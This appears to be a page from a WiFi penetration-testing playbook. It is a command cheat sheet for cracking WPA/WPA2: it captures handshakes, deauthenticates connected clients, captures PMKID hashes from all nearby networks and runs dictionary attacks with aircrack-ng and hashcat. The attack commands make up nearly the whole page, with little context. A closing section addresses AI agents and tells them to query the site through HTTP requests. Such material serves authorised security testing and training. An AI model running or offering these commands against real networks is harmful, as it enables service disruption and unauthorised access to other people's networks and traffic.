# Cracking Check if the interface supports packet injection ``` aireplay-ng --test wlan1 -e essid -a FF:FF:FF:FF:FF:FF ``` ### WPA/WPA2 Handshake Monitor a WiFi network to capture WPA/WPA2 4-way handshake ``` airodump-ng wlan0mon --channel 8 -w airodump_essid_results --essid essid --bssid FF:FF:FF:FF:FF:FF ``` \[Optional] Deauthenticate clients from a WiFi network ``` aireplay-ng --deauth 10 wlan1 -e essid -a FF:FF:FF:FF:FF:FF ``` Start the dictionary attack against a WPA/WPA2 Handshake ``` aircrack-ng -e essid -b FF:FF:FF:FF:FF:FF -w rockyou.txt airodump_essid_results*.cap ``` ### PMKID Attack Crack the WPA/WPA2 authentication without deauthenticating clients Install the required tools: ``` apt-get update && apt-get -y install hcxtools ``` Start capturing PMKID Hashes for all nearby networks ``` hcxdumptool --enable_status=1 -o hcxdumptool_results.cap -i wlan0mon ``` Start capturing PMKID Hashes for a specific network ``` echo HH:HH:HH:HH:HH:HH | sed 's/\://g' >> filter.txt hcxdumptool --enable_status=1 -o hcxdumptool_results.cap -i wlan0mon --filterlist_ap=filter.txt --filtermode=2 ``` Extract PMKID hashes from a PCAP file: ``` hcxpcaptool hcxdumptool_results.cap -k hashes.txt ``` Start the dictionary attack against PMKID hashes ``` hashcat -m 16800 -a 0 --session=cracking --force --status -O -o hashcat_results.txt hashes.txt rockyou.txt ``` --- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://playbook.sidthoviti.com/wifi-pentesting/cracking.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.